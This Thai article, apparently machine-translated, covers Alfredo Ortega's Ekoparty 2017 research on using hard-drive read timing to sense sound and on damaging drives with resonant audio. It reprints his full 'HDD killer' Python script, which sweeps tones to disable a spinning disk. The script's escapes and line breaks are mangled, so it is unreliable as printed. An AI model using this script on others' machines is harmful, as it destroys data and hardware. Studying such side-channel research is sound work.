ทำไมคุณไม่ควรตะโกนใส่ HDD ของคุณ

ทำไมคุณไม่ควรตะโกนใส่ HDD ของคุณ

ในการประชุมความปลอดภัยคอมพิวเตอร์ Ekoparty 2017 ในบัวโนสไอเรส แฮ็กเกอร์ชาวอาร์เจนตินา Alfredo Ortega แสดงให้เห็นถึงการพัฒนาที่น่าสนใจมาก นั่นคือระบบสำหรับการดักฟังโทรศัพท์แอบแฝงในสถานที่โดยไม่ต้องใช้ไมโครโฟน เสียง บันทึกโดยตรงไปยังฮาร์ดไดรฟ์!

HDD จะจับเสียงความถี่ต่ำที่มีความเข้มสูง เสียงฝีเท้า และความสั่นสะเทือนอื่นๆ เป็นหลัก คำพูดของมนุษย์ยังไม่สามารถรับรู้ได้แม้ว่านักวิทยาศาสตร์ก็ตาม กำลังทำการวิจัยไปในทิศทางนี้ (การรู้จำเสียงพูดด้วยการสั่นสะเทือนความถี่ต่ำซึ่งบันทึก เช่น จากไจโรสโคปหรือ HDD)

เสียง คือ การสั่นของอากาศหรือตัวกลางอื่น บุคคลรับรู้ผ่านแก้วหูซึ่งส่งการสั่นสะเทือนไปยังหูชั้นใน ไมโครโฟนได้รับการออกแบบมาคล้ายกับหู การสั่นสะเทือนจะถูกบันทึกโดยเมมเบรนบางๆ เช่นกัน ซึ่งจะกระตุ้นแรงกระตุ้นทางไฟฟ้า แน่นอนว่าฮาร์ดไดรฟ์ยังอยู่ภายใต้การสั่นสะเทือนระดับจุลภาคเนื่องจากความผันผวนของอากาศโดยรอบ สิ่งนี้เป็นที่รู้จักจากคุณสมบัติทางเทคนิคของ HDD: ผู้ผลิตมักจะระบุระดับการสั่นสะเทือนสูงสุดที่อนุญาตและตัวฮาร์ดไดรฟ์เองก็มักจะพยายามวางไว้ในภาชนะป้องกันการสั่นสะเทือนที่ทำจากยางหรือวัสดุฉนวนอื่น ๆ จากนี้จึงสรุปได้ง่ายว่าสามารถบันทึกเสียงโดยใช้ HDD ได้ สิ่งที่เหลืออยู่ก็คือการหาวิธี

Alfredo Ortega เสนอรูปแบบการโจมตีด้านข้างที่ไม่เหมือนใคร นั่นคือการโจมตีครั้ง การโจมตีนี้ขึ้นอยู่กับสมมติฐานว่ามีการดำเนินการที่แตกต่างกันบนอุปกรณ์ในเวลาที่ต่างกัน ขึ้นอยู่กับข้อมูลอินพุตที่กำหนด ในกรณีนี้ “ข้อมูลอินพุต” คือการสั่นของหัวอ่านและแผ่น HDD ซึ่งสัมพันธ์กับการสั่นสะเทือนของสภาพแวดล้อม กล่าวคือ ด้วยเสียง ดังนั้น ด้วยการวัดเวลาในการคำนวณและดำเนินการวิเคราะห์ข้อมูลทางสถิติ จึงสามารถวัดการสั่นสะเทือนของส่วนหัว/แผ่นเสียง และด้วยเหตุนี้จึงสามารถวัดการสั่นสะเทือนของตัวกลางได้ ยิ่งความล่าช้าในการอ่านข้อมูลนานขึ้น การสั่นของ HDD ก็จะยิ่งแรงขึ้น ส่งผลให้เสียงดังมากขึ้นเท่านั้น

จะวัดการสั่นสะเทือนของฮาร์ดไดรฟ์ได้อย่างไร? ง่ายมาก: เพียงเรียกใช้การเรียกของระบบ read () - และบันทึกเวลาที่ใช้ในการทำให้เสร็จ ระบบปฏิบัติการสมัยใหม่ช่วยให้คุณอ่านเวลาของการเรียกของระบบด้วยความแม่นยำระดับนาโนวินาที

ความเร็วในการอ่านข้อมูลจากเซกเตอร์จะขึ้นอยู่กับตำแหน่งของส่วนหัวและแผ่นเสียงซึ่งมีความสัมพันธ์กับการสั่นสะเทือนของเคส HDD นั่นคือทั้งหมดที่

การวิเคราะห์ทางสถิติดำเนินการโดยใช้ยูทิลิตี Kscope อย่างง่าย อย่างที่พวกเขาพูดกันว่าทุกสิ่งที่ชาญฉลาดนั้นเรียบง่าย

ทำไมคุณไม่ควรตะโกนใส่ HDD ของคุณ
ยูทิลิตี้ Kscope (สถิติ () syscall)

Kscope เป็นโปรแกรมอรรถประโยชน์ขนาดเล็กสำหรับแสดงภาพความแตกต่างเล็กๆ น้อยๆ ของเวลาดำเนินการเรียกของระบบ แหล่งที่มาเผยแพร่บน GitHub.

ในที่เก็บแยกต่างหาก HDD-เวลา มียูทิลิตี้เวอร์ชันที่กำหนดค่าสำหรับการโจมตีตามเวลาบนฮาร์ดไดรฟ์นั่นคือกำหนดค่าให้วิเคราะห์การเรียกของระบบ read ().

สาธิตการบันทึกเสียงโดยใช้ HDD การทำงานของยูทิลิตี Kscope


แน่นอนว่าคำพูดไม่สามารถเข้าใจได้ด้วยวิธีนี้ แต่ HDD ค่อนข้างเหมาะที่จะเป็นเซ็นเซอร์ตรวจจับการสั่นสะเทือน ตัวอย่างเช่น คุณสามารถลงทะเบียนได้หากบุคคลที่สวมรองเท้าแข็งหรือเท้าเปล่าเข้าไปในห้องพร้อมกับคอมพิวเตอร์ (อาจเป็นไปได้ว่าหากผู้โจมตีสวมรองเท้าผ้าใบเนื้อนุ่มหรือมีพรมหนาบนพื้น HDD จะไม่สามารถบันทึกการสั่นสะเทือนได้ - นี่ควรค่าแก่การตรวจสอบ) คอมพิวเตอร์สามารถบันทึกกระจกที่แตกหรือเหตุการณ์อื่นๆ ที่มีความเข้มของเสียงสูงได้ นั่นคือฮาร์ดไดรฟ์สามารถใช้เป็นระบบตรวจจับการบุกรุกโดยไม่ได้รับอนุญาตได้

นักฆ่า HDD

อย่างไรก็ตามคุณสามารถใช้เทคนิคที่คล้ายกันเพื่อปิดการใช้งานฮาร์ดไดรฟ์ได้ เฉพาะที่นี่เท่านั้นที่เราจะไม่ลบการสั่นออกจาก HDD แต่ในทางกลับกัน เราสร้างการสั่นที่ป้อนไปยัง HDD หากคุณเล่นเสียงจากลำโพงด้วยความถี่ที่สะท้อนกับความถี่ HDD ระบบจะปิดอุปกรณ์โดยมีข้อผิดพลาด I/O ในไม่ช้า (เคอร์เนล Linux จะปิด HDD อย่างสมบูรณ์หลังจากผ่านไป 120 วินาที) ตัวฮาร์ดไดรฟ์เองอาจได้รับความเสียหายอย่างถาวร

ทำไมคุณไม่ควรตะโกนใส่ HDD ของคุณ
เคอร์เนล Linux ปิดฮาร์ดไดรฟ์หลังจากส่งเสียงด้วยความถี่เรโซแนนซ์ผ่านลำโพงของลำโพง Edifier r120u USB เป็นเวลา 19 วินาที ลำโพงเปิดอยู่ประมาณหนึ่งในสี่ของกำลังไฟ (น้อยกว่า 100 มิลลิวัตต์) และอยู่ห่างจาก HDD 20 ซม. โดยเล็งไปที่โต๊ะเพื่อเพิ่มการสั่นสะเทือน เฟรมจาก ภาพยนตร์ พร้อมสาธิตเครื่องทำลาย HDD

น่าแปลกใจที่บางครั้ง "การโจมตี" บน HDD เกิดขึ้นโดยบังเอิญในชีวิตประจำวัน ตัวอย่างเช่น ในเดือนกันยายน 2016 ศูนย์ข้อมูล ING Bank ถูกบังคับให้ระงับการดำเนินงานเป็นเวลา 10 ชั่วโมงหลังจากการฝึกซ้อมดับเพลิง ฮาร์ดไดรฟ์หลายสิบตัวล้มเหลว เนื่องจากมีเสียงดังของก๊าซเฉื่อยที่ถูกปล่อยออกมาจากกระบอกสูบภายใต้แรงดันสูง เสียงดังมาก (มากกว่า 130 เดซิเบล) แต่คุณไม่สามารถตะโกนใส่ฮาร์ดไดรฟ์ได้ - ซึ่งจะเพิ่มความล่าช้าในการเข้าถึง HDD

การสาธิตเสียงกรีดร้องของมนุษย์ใส่ฮาร์ดไดรฟ์ในศูนย์ข้อมูล การวัดความหน่วง


เพื่อสร้างเสียงที่สะท้อนกลับ Alfredo Ortega ได้เขียนสคริปต์ Python ชื่อ HDD-นักฆ่า (วิดีโอสาธิต).

สคริปต์นักฆ่า HDD มีขนาดเล็กมาก คุณจึงสามารถเผยแพร่ทั้งหมดได้ที่นี่

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ที่มา: will.com

เพิ่มความคิดเห็น